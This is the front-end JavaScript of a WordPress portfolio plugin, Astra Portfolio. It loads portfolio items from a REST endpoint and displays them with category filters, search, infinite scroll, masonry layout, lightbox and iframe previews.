/home/skemvmse/www/wp-content/plugins/astra-portfolio/assets/js/shortcode.js
(function($) {

	AstraPortfolio = {

		_ref			: null,

		/**
		 * _api_params = {
		 * 		'search'                  : '',
		 * 		'per_page'                : '',
		 * 		'astra-portfolio-categories'     : '',
		 * 		'astra-portfolio-other-categories' : '',
		 * 		'page'                    : '',
		 *   };
		 *
		 * E.g. per_page=<page-id>&astra-portfolio-categories=<category-ids>&astra-portfolio-other-categories=<page-builder-ids>&page=<page>
		 */
		_api_params           : {},
		_breakpoint           : 768,
		_iconUploader         : null,
		items                 : [],
	
		init: function()
		{
			this._shwoLoader();
			this._showSiteOnLoad();
			this._masonry();
			this._resetPagedCount();
			this._bind();
			this._display();
		},

		_shwoLoader: function()
		{
			if( ! $( '#astra-portfolio .spinner' ).length ) {
				$( '#astra-portfolio' ).append( wp.template('astra-portfolio-spinner') );
			}
		},

		/**
		 * Show Site On Load.
		 *
		 * @since 1.0.2
		 */
		_showSiteOnLoad: function()
		{
			if( AstraPortfolio._getParamFromURL('portfolio') )
			{
				var slug      = AstraPortfolio._getParamFromURL('portfolio');

				var api_params = {
					slug : slug,
				};

				// API Request.
				var api_url = astraPortfolio.apiEndpoint + 'astra-portfolio?' + decodeURIComponent( $.param( api_params ) );
				$.ajax({
					url   : api_url,
					cache : false
				})
				.done(function( items, status, XHR ) {

					if( 'success' === status && items.length && items[0] ) {

						// Add to temporary object.
						$.each(items, function(index, val) {
							AstraPortfolio.items[ val.id ] = val;
						});

						var post_id        = ( 'id' in items[0] ) ? items[0]['id'] : '';
						var portfolio_type = ( 'portfolio-type' in items[0] ) ? items[0]['portfolio-type'] : '';
						var site_url       = ( 'astra-site-url' in items[0] ) ? items[0]['astra-site-url'] + 'TB_iframe=true&width=600&height=550' : '';
						var title          = ( 'title' in items[0] ) ? items[0]['title']['rendered'] : '';
						var rel            = false;

						switch( portfolio_type ) {
							case 'image':
											var lightbox_url = ( 'lightbox-image-url' in items[0] ) ? items[0]['lightbox-image-url'] : '';
											jQuery.magnificPopup.open({
												items: {
													src: lightbox_url
												},
												type: 'image'
											}, 0);
								break;
							case 'video':
											var video_url = ( 'portfolio-video-url' in items[0] ) ? items[0]['portfolio-video-url'] : '';
											jQuery.magnificPopup.open({
												items: {
													src: video_url
												},
												type: 'iframe'
											}, 0);
								break;
							case 'iframe':
										if( title && site_url )
										{
											var site_data = {
												'title'          : title,
												'href'           : site_url,
												'rel'            : rel,
												'slug'           : slug,
												'post_id'        : post_id,
												'portfolio_type' : portfolio_type,
											}

											AstraPortfolio._showSingleSite( site_data );
										}
								break;
						}
					}
				});
			} 
		},

		/**
		 * Preview Open
		 * 
		 * @param  {object} event Object.
		 */
		_showSingleSite: function( data )
		{
			var title          = data.title || '';
			var href           = data.href || '';
			var rel            = data.rel || '';
			var slug           = data.slug || '';
			var post_id        = data.post_id || '';
			var portfolio_type = data.portfolio_type || '';

			if( href )
			{
				$('html').addClass('processing');

				var location = astraPortfolio.settings["preview-bar-loc"] || 'bottom';

				tb_show( title, href, rel );

				var currentSiteTitle = $("#TB_ajaxWindowTitle").text();

				if( undefined !== post_id && undefined !== AstraPortfolio.items[ post_id ] ) {
					var call_to_action = AstraPortfolio.items[ post_id ]['astra-site-call-to-action'] || '';
					if( call_to_action ) {
						$('#TB_ajaxWindowTitle').after( '<div class="astra-call-to-action">' + call_to_action + '</div>' );
					}
					
					setTimeout(function() {
						AstraPortfolio._setCallToAction();
					}, 100);
				}

				var responseive_buttons = astraPortfolio.settings['responsive-button'] || false;
				if( responseive_buttons ) {
					$('#TB_closeAjaxWindow').prepend( wp.template('astra-portfolio-responsive-view') );
				}
		
				$('#TB_iframeContent').wrap('<div id="TB_iframeContent-wrapper"></div>');
		
				$('#TB_window')
					.addClass( location )
					.addClass('astra-slug-' + slug )
					.addClass('astra-site-id-' + post_id )
					.addClass('astra-portfolio-type-' + portfolio_type )
					.addClass('desktop');
				
				if( astraPortfolio.siteLoadingEnabled ) {
					$('#TB_window')
						.addClass('astra-portfolio-thickbox-loading')
						.append('<div class="site-loading"><h3>'+astraPortfolio.siteLoadingTitle+'</h3><p>'+astraPortfolio.siteLoadingMessage+'</p></div>');
				}
			}
		},

		/**
		 * Set call to action button.
		 */
		_setCallToAction: function()
		{
			if( ! $( '.astra-call-to-action' ).length ) {
				return;
			}

			var windowHeight = $( window ).outerWidth();
			if( windowHeight <= 768 ) {
				var ctaHeight = $( '.astra-call-to-action' ).outerHeight();
				if( $( '#TB_window' ).hasClass('top') ) {
					$('#TB_iframeContent-wrapper').css( 'top', (ctaHeight + 100) );
				} else {
					$('#TB_iframeContent-wrapper').css( 'bottom', (ctaHeight + 100) );
				}				
				$('#TB_window #TB_title').css( 'height', (ctaHeight + 100) );
			} else {
				$('#TB_iframeContent-wrapper').css( 'bottom', '' );
				$('#TB_iframeContent-wrapper').css( 'top', '' );
				$('#TB_window #TB_title').css( 'height', '' );
			}
		},

		/**
		 * Get URL param.
		 */
		_getParamFromURL: function(name, url)
		{
		    if (!url) url = window.location.href;
		    name = name.replace(/[\[\]]/g, "\\$&");
		    var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
		        results = regex.exec(url);
		    if (!results) return null;
		    if (!results[2]) return '';
		    return decodeURIComponent(results[2].replace(/\+/g, " "));
		},

		_display: function() {

			// Show portfolios, If Category (disabled), Other Category(disabled) & Search(enabled).
			if( 'no' === astraPortfolio.settings['show-other-categories'] &&
				'no' === astraPortfolio.settings['show-categories'] &&
				'yes' === astraPortfolio.settings['show-search']
			) {
				AstraPortfolio._showSites();
			}

			// Show portfolios, If Category (disabled), Other Category(disabled) & Search(disabled).
			if( ! $('.astra-portfolio-filters').length ) {
				AstraPortfolio._showSites();
				return;
			}

			/**
			 * Categories
			 */
			if( 'yes' === astraPortfolio.settings['show-categories'] ) {
				var category_data = 'categories';
				var category_slug = 'astra-portfolio-categories';
				var category = {
					slug          : category_slug + AstraPortfolio._getCategoryParams( category_data ),
					id            : category_slug + '-wrap',
					class         : category_slug,
					trigger       : 'astra-api-all-category-loaded',
					wrapper_class : 'filter-links',
					show_all      : AstraPortfolio._getCategoryAllSelectStatus(),
				};
				AstraPortfolioAPI._api_request( category );
			}

			/**
			 * Other Categories
			 */
			if( 'yes' === astraPortfolio.settings['show-other-categories'] ) {
				var category_data = 'other-categories';
				var category_slug = 'astra-portfolio-other-categories';
				var category = {
					slug          : category_slug + AstraPortfolio._getCategoryParams( category_data ),
					id            : category_slug + '-wrap',
					class         : category_slug,
					trigger       : 'astra-api-category-loaded',
					wrapper_class : 'filter-links',
					show_all      : AstraPortfolio._getOtherCategoryAllSelectStatus(),
				};

				AstraPortfolioAPI._api_request( category );
			}
		},
		
		/**
		 * Binds events for the Astra Portfolio.
		 *
		 * @since 1.0.0
		 * @access private
		 * @method _bind
		 */
		_bind: function()
		{
			$( window ).on('resize', 									AstraPortfolio._resize );

			$( document ).on('astra-portfolio-api-request-fail',		AstraPortfolio._apiFailed );
			$( document ).on('astra-api-post-loaded-on-scroll',			AstraPortfolio._reinitGridScrolled );
			$( document ).on('astra-api-post-loaded', 					AstraPortfolio._reinitGrid );
			$( document ).on('astra-api-category-loaded', 				AstraPortfolio._addFilters );
			$( document ).on('astra-api-all-category-loaded', 			AstraPortfolio._loadFirstGrid );

			$( document ).on('click', '.iframe:not(.open-in-new-tab) .site-preview', 			AstraPortfolio._previewOpen );
			$( document ).on('click', '.actions a', 					AstraPortfolio._previewResponsive );
			$( 'body' ).on('thickbox:removed', 							AstraPortfolio._previewClose );
			$( 'body' ).on('thickbox:iframe:loaded', 					AstraPortfolio._previewLoaded );

			// Event's for API request.
			$( document ).on('keyup input', '.astra-portfolio-search', 	AstraPortfolio._search );
			$( document ).on('click', '.filter-links a', 				AstraPortfolio._filterClick );

			if( 'click' === astraPortfolio.settings["show-portfolio-on"] ) {
				$( document ).on('click', '.astra-portfolio-load-more-sites', AstraPortfolio._next_page );
			} else {
				$( document ).on('scroll', 									AstraPortfolio._scroll );
			}

		},

		/**
		 * Remove thickbox loading class
		 * 
		 * @param  object event Event object.
		 * @return void.
		 */
		_previewLoaded: function( event ) {
			event.preventDefault();
			$('#TB_window').removeClass('astra-portfolio-thickbox-loading');
		},

		/**
		 * Lightbox init.
		 */
		_lightboxInit: function( ) {

			$('.site-single.image').magnificPopup({
				delegate: 'a',
				type: 'image',
				tLoading: 'Loading image #%curr%...',
				mainClass: 'astra-portfolio-lightbox mfp-img-mobile',
				gallery: {
					enabled: true,
					navigateByImgClick: true,
					preload: [0,1] // Will preload 0 - before current, and 1 after the current image
				},
				image: {
					verticalFit: true,
					tError: '<a href="%url%">The image #%curr%</a> could not be loaded.',
					titleSrc: function(item) {
						return item.el.attr('title');
					}
				},
				callbacks: {
					change: function( item ) {
						var slug = $( item.el ).parents('.site-single').attr('data-slug') || '';
						if( slug ) {

							AstraPortfolio._clean_url_params( 'portfolio' );

							var url_params = {
								'portfolio' : slug
							};

							// Change URL.
							if( ! AstraPortfolio._getParamFromURL('portfolio') ) {
								var current_url = window.location.href;
								var current_url_separator = ( window.location.href.indexOf( "?" ) === -1 ) ? "?" : "&";

								var new_url = current_url + current_url_separator + decodeURIComponent( $.param( url_params ) );
								AstraPortfolio._changeURL( new_url );
							}
						}
					},
					open: function( ) {
						var slug = $( this.currItem.el ).parents('.site-single').attr('data-slug') || '';
						if( slug ) {
							var url_params = {
								'portfolio' : slug
							};

							// Change URL.
							if( ! AstraPortfolio._getParamFromURL('portfolio') ) {
								var current_url = window.location.href;
								var current_url_separator = ( window.location.href.indexOf( "?" ) === -1 ) ? "?" : "&";

								var new_url = current_url + current_url_separator + decodeURIComponent( $.param( url_params ) );
								AstraPortfolio._changeURL( new_url );
							}
						}
					},
					close: function( ) {
						AstraPortfolio._clean_url_params( 'portfolio' );
					}
				}
			});

			$('.site-single.video').magnificPopup({
				delegate: 'a',
				disableOn: 700,
				type: 'iframe',
				mainClass: 'astra-portfolio-popup mfp-fade',
				removalDelay: 160,
				preloader: false,

				fixedContentPos: false,
				callbacks: {
					open: function( ) {
						var slug = $( this.currItem.el ).parents('.site-single').attr('data-slug') || '';
						if( slug ) {
							var url_params = {
								'portfolio' : slug
							};

							// Change URL.
							if( ! AstraPortfolio._getParamFromURL('portfolio') ) {
								var current_url = window.location.href;
								var current_url_separator = ( window.location.href.indexOf( "?" ) === -1 ) ? "?" : "&";

								var new_url = current_url + current_url_separator + decodeURIComponent( $.param( url_params ) );
								AstraPortfolio._changeURL( new_url );
							}
						}
					},
					close: function( ) {
						AstraPortfolio._clean_url_params( 'portfolio' );
					}
				}
			});

		},

		_clean_url_params: function( single_param )
		{
			var url_params = AstraPortfolio._getQueryStrings();
			delete url_params[ single_param ];
			delete url_params[''];		// Removed extra empty object.

			var current_url = window.location.href;
			var root_url = current_url.substr(0, current_url.indexOf('?')); 
			if( $.isEmptyObject( url_params ) ) {
				var new_url = root_url + decodeURIComponent( $.param( url_params ) );
			} else {
				var current_url_separator = ( root_url.indexOf( "?" ) === -1 ) ? "?" : "&";
				var new_url = root_url + current_url_separator + decodeURIComponent( $.param( url_params ) );
			}

			AstraPortfolio._changeURL( new_url );
		},

		/**
		 * Responsive On Click.
		 */
		_previewResponsive: function( event ) {

			event.preventDefault();

			var icon = $(this).find('.dashicons');

			var viewClass = icon.attr('data-view') || '';

			$('#TB_window').removeClass( 'desktop' );
			$('#TB_window').removeClass( 'tablet' );
			$('#TB_window').removeClass( 'mobile' );
			$('#TB_window').addClass( viewClass );

			$('.actions .dashicons').removeClass('active');
			icon.addClass('active');

			$('#TB_iframeContent').removeClass();
			$('#TB_iframeContent').addClass( viewClass );

		},

		/**
		 * On Filter Clicked
		 */
		_filterClick: function( event ) {

			event.preventDefault();

			$(this).parents('.filter-links').find('a').removeClass('active');
			$(this).addClass('active');

			// Clean data before process request.
			$('.astra-portfolio').addClass('hide-me');

			$( 'body' ).removeClass('astra-portfolio-loaded-all-sites');

			if( ! $( '#astra-portfolio .spinner' ).length ) {
				$( '#astra-portfolio' ).append( wp.template('astra-portfolio-spinner') );
			}
			if( $( '#astra-portfolio .astra-portfolio-load-more-sites' ).length ) {
				$( '#astra-portfolio .astra-portfolio-load-more-sites' ).remove();
			}
			if( $( '#astra-portfolio .astra-portfolio-not-found' ).length ) {
				$( '#astra-portfolio .astra-portfolio-not-found' ).remove();
			}
			if( $( '#astra-portfolio .no-more-demos' ).length ) {
				$( '#astra-portfolio .no-more-demos').remove();
			}

			$('.astra-portfolio-search').val('');
			$('body').addClass( 'astra-portfolio-loading' );

	        // Show sites.
			AstraPortfolio._showSites();

			if( astraPortfolio.scrollToTop ) {
				if( $('.filters-wrap').length ) {
					
					$('html, body').animate({
						scrollTop: $('.filters-wrap').offset().top - 100
					});
				}
			}
		},

		/**
		 * On Resize
		 */
		_resize: function() {

			AstraPortfolio._masonry();

			AstraPortfolio._setCallToAction();
		},

		/**
		 * Preview Close
		 * 
		 * @param  {object} event Object.
		 */
		_previewClose: function( event )
		{
			event.preventDefault();
			$('html').removeClass('processing');

			var url_params = AstraPortfolio._getQueryStrings();
			delete url_params['portfolio'];

			var current_url = window.location.href;
			var root_url = current_url.substr(0, current_url.indexOf('?')); 
			if( $.isEmptyObject( url_params ) ) {
				var new_url = root_url + decodeURIComponent( $.param( url_params ) );
			} else {
				var current_url_separator = ( root_url.indexOf( "?" ) === -1 ) ? "?" : "&";
				var new_url = root_url + current_url_separator + decodeURIComponent( $.param( url_params ) );
			}

			// Change URL.
			AstraPortfolio._changeURL( new_url );
		},

		/**
		 * Preview Open
		 * 
		 * @param  {object} event Object.
		 */
		_previewOpen: function( event ) {
			event.preventDefault();
			
			// Site Preview.
			var title 			= $(this).data('title') || $(this).data('name') || null,
				href  			= $(this).data('href') || $(this).data('alt'),
				rel   			= $(this).data('rel') || false,
				slug  			= $(this).parents('.site-single').attr('data-slug') || '';
				id    			= $(this).parents('.site-single').attr('data-id') || '';
				portfolio_type  = $(this).parents('.site-single').attr('data-portfolio-type') || '';

			var site_data = {
				'title'          : title,
				'href'           : href,
				'rel'            : rel,
				'slug'           : slug,
				'post_id'        : id,
				'portfolio_type' : portfolio_type,
			}

			AstraPortfolio._showSingleSite( site_data );

			var url_params = {
				'portfolio' : slug
			};

			// Change URL.
			if( ! AstraPortfolio._getParamFromURL('portfolio') ) {
				var current_url = window.location.href;
				var current_url_separator = ( window.location.href.indexOf( "?" ) === -1 ) ? "?" : "&";

				var new_url = current_url + current_url_separator + decodeURIComponent( $.param( url_params ) );
				
				AstraPortfolio._changeURL( new_url );
			}
		},

		/**
		 * Get query strings.
		 * 
		 * @param  string string Query string.
		 * @return string     	 Check and return query string.
		 */
		_getQueryStrings: function( string )
		{
			return ( string || document.location.search).replace(/(^\?)/,'').split("&").map(function(n){return n = n.split("="),this[n[0]] = n[1],this}.bind({}))[0];
		},

		/**
		 * Clean the URL.
		 * 
		 * @param  string url URL string.
		 * @return string     Change the current URL.
		 */
		_changeURL: function( url )
		{
			History.pushState(null, null, url);
		},

		/**
		 * Lazy Load Images
		 *
		 * @see  http://jquery.eisbehr.de/lazy/#features
		 */
		_lazyLoad: function()
		{
			$('.astra-portfolio img').Lazy({
				effect: 'fadeIn',
				onFinishedAll: function() {
					if( AstraPortfolio._process_masonry() ) {
						$('.astra-portfolio').masonry('reloadItems');
						$('.astra-portfolio').masonry('layout');
					}
				}
			});
		},

		/**
		 * Init Masonry.
		 * 
		 * @see  /wp-includes/js/jquery/jquery.masonry.min.js (Source http://masonry.desandro.com).
		 */
		_masonry: function() {
			if( AstraPortfolio._process_masonry() ) {
				$('.astra-portfolio').masonry({
					horizontalOrder : false,
					percentPosition : false
				});
			}
		},

		/**
		 * Process Masonry
		 *
		 * @since 1.6.0
		 * 
		 * @return {boolean}
		 */
		_process_masonry: function() {
			var windowHeight = $( window ).outerWidth();
			if( astraPortfolio.settings['enable-masonry'] && ( windowHeight >= 768 ) ) {
				return true;
			}

			return false;
		},

		// Add 'search'
		_apiAddParam_search: function() {
			var search_val = $('.astra-portfolio-search').val() || '';
			if( '' !== search_val ) {
				AstraPortfolio._api_params['search'] = search_val;
			}
		},

		_apiAddParam_per_page: function() {
			// Add 'per_page'
			var per_page_val = 3;
			if( astraPortfolio.settings && astraPortfolio.settings["per-page"] ) {
				per_page_val = parseInt( astraPortfolio.settings["per-page"] );
			}
			AstraPortfolio._api_params['per_page'] = per_page_val;
		},

		_apiAddParam_astra_site_tags: function() {
			// Add 'astra-portfolio-tags'
			var tags = '' + $('.astra-portfolio-wrap').data( 'tags' ) || '';
			if( '' !== tags ) {
				if ( tags.indexOf(',') > -1) {
					tags = tags.replace(/^,|,$/g,'');;
				}

				AstraPortfolio._api_params['astra-portfolio-tags'] =  tags;
			}
		},

		_apiAddParam_astra_site_category: function()
		{
			if( $('.filter-links.astra-portfolio-categories').length ) {
				var selected_category_id = $('.filter-links.astra-portfolio-categories').find('.active').data('group') || '';
				if( '' !== selected_category_id && 'all' !== selected_category_id ) {
					AstraPortfolio._api_params['astra-portfolio-categories'] =  selected_category_id;
				} else {
					var categories = $('.astra-portfolio-wrap').data( 'categories' );
					if( '' !== categories ) {
						AstraPortfolio._api_params['astra-portfolio-categories'] =  categories;
					}
				}

			} else {
				
				var tags = '' + $('.astra-portfolio-wrap').data( 'categories' ) || '';
				if( '' !== tags ) {
					if ( tags.indexOf(',') > -1) {
						tags = tags.replace(/^,|,$/g,'');;
					}

					AstraPortfolio._api_params['astra-portfolio-categories'] =  tags;
				}
			}
		},

		_apiAddParam_astra_site_page_builder: function() {

			if( $('.filter-links.astra-portfolio-other-categories').length ) {
				var selected_category_id = $('.filter-links.astra-portfolio-other-categories').find('.active').data('group') || '';
				if( '' !== selected_category_id && 'all' !== selected_category_id ) {
					AstraPortfolio._api_params['astra-portfolio-other-categories'] =  selected_category_id;
				}

			} else {
				
				var tags = '' + $('.astra-portfolio-wrap').data( 'other-categories' ) || '';
				if( '' !== tags ) {
					if ( tags.indexOf(',') > -1) {
						tags = tags.replace(/^,|,$/g,'');;
					}

					AstraPortfolio._api_params['astra-portfolio-other-categories'] =  tags;
				}
			}
		},

		_apiAddParam_page: function() {
			// Add 'page'
			var page_val = parseInt($('body').attr('data-astra-demo-paged')) || 1;
			AstraPortfolio._api_params['page'] = page_val;
		},

		/**
		 * Show Sites
		 * 
		 * 	Params E.g. per_page=<page-id>&astra-portfolio-categories=<category-ids>&astra-portfolio-other-categories=<page-builder-ids>&page=<page>
		 *
		 * @param  {Boolean} resetPagedCount Reset Paged Count.
		 * @param  {String}  trigger         Filtered Trigger.
		 */
		_showSites: function( resetPagedCount, trigger ) {

			if( undefined === resetPagedCount ) {
				resetPagedCount = true
			}

			if( undefined === trigger ) {
				trigger = 'astra-api-post-loaded';
			}

			if( resetPagedCount ) {
				AstraPortfolio._resetPagedCount();
			}

			// Add Params for API request.
			AstraPortfolio._api_params = {};

			AstraPortfolio._apiAddParam_search();
			AstraPortfolio._apiAddParam_per_page();
			AstraPortfolio._apiAddParam_astra_site_tags( );
			AstraPortfolio._apiAddParam_astra_site_category();
			AstraPortfolio._apiAddParam_astra_site_page_builder();
			AstraPortfolio._apiAddParam_page();

			// API Request.
			var api_post = {
				slug: 'astra-portfolio' + astraPortfolio.ApiURLSep + decodeURIComponent( $.param( AstraPortfolio._api_params ) ),
				trigger: trigger,
			};

			AstraPortfolioAPI._api_request( api_post );

		},

		/**
		 * Get Category Params
		 * 
		 * @param  {string} category_data Category Slug.
		 * @return {mixed}               Add `include=<category-ids>` in API request.
		 */
		_getCategoryParams: function( category_data ) {

			// Con-cat to convert number into string.
			var categories = '' + $('.astra-portfolio-wrap').data( category_data ) || '';

			if( categories ) {
				if ( categories.indexOf(',') > -1) {
					return astraPortfolio.ApiURLSep + 'per_page=100&include='+categories.replace(/^,|,$/g,'');
				} else {
					return astraPortfolio.ApiURLSep + 'per_page=100&include='+categories;
				}
			}

			return astraPortfolio.ApiURLSep + 'per_page=100';
		},

		/**
		 * Get All Select Status
		 * 
		 * @return {boolean}              Return true/false.
		 */
		_getCategoryAllSelectStatus: function( ) {

			// Has category?
			if( 'category-show-all' in astraPortfolio.settings ) {
				if( 'yes' === astraPortfolio.settings['category-show-all'] ) {
					return true;
				}
			}

			return false;
		},

		/**
		 * Get All Select Status
		 * 
		 * @return {boolean}              Return true/false.
		 */
		_getOtherCategoryAllSelectStatus: function( ) {

			// Has category?
			if( 'other-category-show-all' in astraPortfolio.settings ) {
				if( 'yes' === astraPortfolio.settings['other-category-show-all'] ) {
					return true;
				}
			}

			return false;
		},

		/**
		 * Load First Grid.
		 *
		 * This is triggered after all category loaded.
		 * 
		 * @param  {object} event Event Object.
		 */
		_loadFirstGrid: function( event, data ) {

			AstraPortfolio._addFilters( event, data );
			setTimeout(function() {
				AstraPortfolio._showSites();
			}, 100);
		},

		/**
		 * Append filters.
		 * 
		 * @param  {object} event Object.
		 * @param  {object} data  API response data.
		 */
		_addFilters: function( event, data ) {
			event.preventDefault();

			// Show portfolios, If Category (disabled), Other Category(enabled) & Search(enabled/disabled).
			if( ! astraPortfolio.settings['categories'] ) {
				setTimeout(function() {
					AstraPortfolio._showSites( );
				}, 100);
			}

			if( $('.' + data.args.id).length ) {
				var template = wp.template('astra-portfolio-filters');
				$('.' + data.args.id).html(template( data )).find('li:first a').addClass('active');
			}

		},

		/**
		 * Append sites on scroll.
		 * 
		 * @param  {object} event Object.
		 * @param  {object} data  API response data.
		 */
		_reinitGridScrolled: function( event, data ) {

			var template = wp.template('astra-portfolio-list');

			if( data.items_count > 0 ) {
				$('body').addClass('astra-portfolio-has-items').removeClass('astra-portfolio-not-has-items');
			} else {
				$('body').removeClass('astra-portfolio-has-items').addClass('astra-portfolio-not-has-items');
			}

			$('.astra-portfolio').removeClass('hide-me');

			if( data.items.length > 0 ) {

				// Add to temporary object.
				$.each(data.items, function(index, val) {
					AstraPortfolio.items[ val.id ] = val;
				});

				$('.filter-count .count').text( data.items_count );

				setTimeout(function() {
					$('.astra-portfolio').append(template( data ));
					if( 'default' === astraPortfolio.settings["grid-style"] ) {
						AstraPortfolio._lazyLoad();
						AstraPortfolio._imagesLoaded();
					} else {
						AstraPortfolio.processed();
					}
				}, 800);
			} else {

				if( $( '#astra-portfolio .spinner' ).length ) {
					$( '#astra-portfolio .spinner').remove();
				}

				if( ! $( '#astra-portfolio .no-more-demos' ).length ) {
					$( '#astra-portfolio' ).append( wp.template('astra-portfolio-no-more-demos') );
				}

				if( $( '#astra-portfolio .astra-portfolio-not-found' ).length ) {
					$( '#astra-portfolio .astra-portfolio-not-found' ).remove();
				}

			}
		},

		/**
		 * Update Astra sites list.
		 * 
		 * @param  {object} event Object.
		 * @param  {object} data  API response data.
		 */
		_reinitGrid: function( event, data ) {

			if( data.items_count > 0 ) {
				$('body').addClass('astra-portfolio-has-items').removeClass('astra-portfolio-not-has-items');
			} else {
				$('body').removeClass('astra-portfolio-has-items').addClass('astra-portfolio-not-has-items');
			}

			$('.astra-portfolio').removeClass('hide-me');

			if( data.items.length > 0 ) {

				// Add to temporary object.
				$.each(data.items, function(index, val) {
					AstraPortfolio.items[ val.id ] = val;
				});

				var template = wp.template('astra-portfolio-list');

				$('.filter-count .count').text( data.items_count );
				$('body').attr('data-astra-demo-last-request', data.items_count);

				$('.astra-portfolio-shortcode-wrap').html(template( data ));
				if( 'default' === astraPortfolio.settings["grid-style"] ) {
					AstraPortfolio._lazyLoad();
					AstraPortfolio._imagesLoaded();
				} else {
					AstraPortfolio.processed();
				}
			} else {
				
				if( $( '#astra-portfolio .spinner' ).length ) {
					$( '#astra-portfolio .spinner' ).remove();
				}

				$( '.astra-portfolio-shortcode-wrap' ).html( wp.template('astra-portfolio-not-found') );
			}
		},

		/**
		 * Check image loaded with function `imagesLoaded()`
		 */
		_imagesLoaded: function() {

			$('.astra-portfolio-grid').imagesLoaded()
			.always( function( instance ) {
				AstraPortfolio.processed();
			})
			.progress( function( instance, image ) {
				var result = image.isLoaded ? 'loaded' : 'broken';
			});
		},

		processed: function() {
			
			$('.astra-portfolio').removeClass('hide-me');
			if( AstraPortfolio._process_masonry() ) {
				$('.astra-portfolio').masonry('reloadItems');
				$('.astra-portfolio').masonry('layout');
			}
			
			if( $( '#astra-portfolio .spinner' ).length ) {
				$( '#astra-portfolio .spinner' ).remove();
			}
			AstraPortfolio._lightboxInit();

			if( 'click' === astraPortfolio.settings["show-portfolio-on"] && ! $( '#astra-portfolio .astra-portfolio-load-more-sites' ).length ) {
				$( '#astra-portfolio' ).append( wp.template('astra-portfolio-load-more-sites') );
			}

			$('body').removeClass( 'astra-portfolio-loading' );
		},

		/**
		 * API Request Failed/Not found any demos.
		 */
		_apiFailed: function(e, args, jqXHR, textStatus) {

			var status = jqXHR.status || 0;

			if( $( '#astra-portfolio .spinner' ).length ) {
				$( '#astra-portfolio .spinner' ).remove();
			}

			if( $('.astra-portfolio .site-single').length ) {
				if( ! $( '#astra-portfolio .no-more-demos' ).length ) {
					$( '#astra-portfolio' ).append( wp.template('astra-portfolio-no-more-demos') );
				}
			} else {
				if( ! $( '#astra-portfolio .astra-portfolio-not-found' ).length ) {
					$( '#astra-portfolio' ).append( wp.template('astra-portfolio-not-found') );
				}
			}

			$( 'body' ).addClass('astra-portfolio-loaded-all-sites');
		},

		/**
		 * Search Site.
		 */
		_search: function() {
					
			$this = $('.astra-portfolio-search').val();

			$('.filter-links.astra-portfolio-categories a').removeClass('active');
			$( 'body' ).removeClass('astra-portfolio-loaded-all-sites');

			// Clean data before process request.
			$('.astra-portfolio').addClass('hide-me');
			if( ! $( '#astra-portfolio .spinner' ).length ) {
				$( '#astra-portfolio' ).append( wp.template('astra-portfolio-spinner') );
			}
			if( $( '#astra-portfolio .astra-portfolio-load-more-sites' ).length ) {
				$( '#astra-portfolio .astra-portfolio-load-more-sites' ).remove();
			}
			if( $( '#astra-portfolio .astra-portfolio-not-found' ).length ) {
				$( '#astra-portfolio .astra-portfolio-not-found').remove();
			}
			if( $( '#astra-portfolio .no-more-demos' ).length ) {
				$( '#astra-portfolio .no-more-demos').remove();
			}

			$('body').addClass( 'astra-portfolio-loading' );

			window.clearTimeout(AstraPortfolio._ref);
			AstraPortfolio._ref = window.setTimeout(function () {
				AstraPortfolio._ref = null;

				$('body').addClass('astra-portfolio-loading');
				$('body').attr('data-astra-demo-search', $this);

				AstraPortfolio._showSites();

			}, 500);

		},

		_next_page: function(event) {

			AstraPortfolio._updatedPagedCount();

			$( 'body' ).removeClass('astra-portfolio-loaded-all-sites');

			$('body').addClass( 'astra-portfolio-loading' );

			if( ! $( '#astra-portfolio .spinner' ).length ) {
				$( '#astra-portfolio' ).append( wp.template('astra-portfolio-spinner') );
			}
			if( $( '#astra-portfolio .astra-portfolio-load-more-sites' ).length ) {
				$( '#astra-portfolio .astra-portfolio-load-more-sites' ).remove();
			}
			if( $( '#astra-portfolio .astra-portfolio-not-found' ).length ) {
				$( '#astra-portfolio .astra-portfolio-not-found' ).remove();
			}
			if( $( '#astra-portfolio .no-more-demos' ).length ) {
				$( '#astra-portfolio .no-more-demos').remove();
			}
			
			/**
			 * @see _reinitGridScrolled() which called in trigger 'astra-api-post-loaded-on-scroll'
			 */
			AstraPortfolio._showSites( false, 'astra-api-post-loaded-on-scroll' );
		
		},

		/**
		 * On Scroll
		 */
		_scroll: function(event) {

			if( ! $('.astra-portfolio').length ) {
				return;
			}

			var scrollDistance = $(window).scrollTop();

			var themesBottom = Math.abs($(window).height() - $('.astra-portfolio').offset().top - $('.astra-portfolio').height());

			ajaxLoading = $('body').data('scrolling');

			if (scrollDistance > themesBottom && ajaxLoading == false && ! $( 'body' ).hasClass('astra-portfolio-loaded-all-sites') ) {
				AstraPortfolio._updatedPagedCount();

				if( ! $( '#astra-portfolio .spinner' ).length ) {
					$( '#astra-portfolio' ).append( wp.template('astra-portfolio-spinner') );
				}
				if( $( '#astra-portfolio .astra-portfolio-load-more-sites' ).length ) {
					$( '#astra-portfolio .astra-portfolio-load-more-sites' ).remove();
				}
				if( $( '#astra-portfolio .astra-portfolio-not-found' ).length ) {
					$( '#astra-portfolio .astra-portfolio-not-found' ).remove();
				}
				if( $( '#astra-portfolio .no-more-demos' ).length ) {
					$( '#astra-portfolio .no-more-demos').remove();
				}
				
				$('body').data('scrolling', true);

				/**
				 * @see _reinitGridScrolled() which called in trigger 'astra-api-post-loaded-on-scroll'
				 */
				AstraPortfolio._showSites( false, 'astra-api-post-loaded-on-scroll' );
			}
		
		},
		
		/**
		 * Update Page Count.
		 */
		_updatedPagedCount: function() {
			paged = parseInt($('body').attr('data-astra-demo-paged'));
			$('body').attr('data-astra-demo-paged', paged + 1);
			window.setTimeout(function () {
				$('body').data('scrolling', false);
			}, 800);
		},

		/**
		 * Reset Page Count.
		 */
		_resetPagedCount: function() {
			$('body').attr('data-astra-demo-last-request', '1');
			$('body').attr('data-astra-demo-paged', '1');
			$('body').attr('data-astra-demo-search', '');
			$('body').attr('data-scrolling', false);
			$('body').removeClass( 'astra-portfolio-loading' );

		}

	};

	/**
	 * Initialize AstraPortfolio
	 */
	$(function(){
		AstraPortfolio.init();
	});

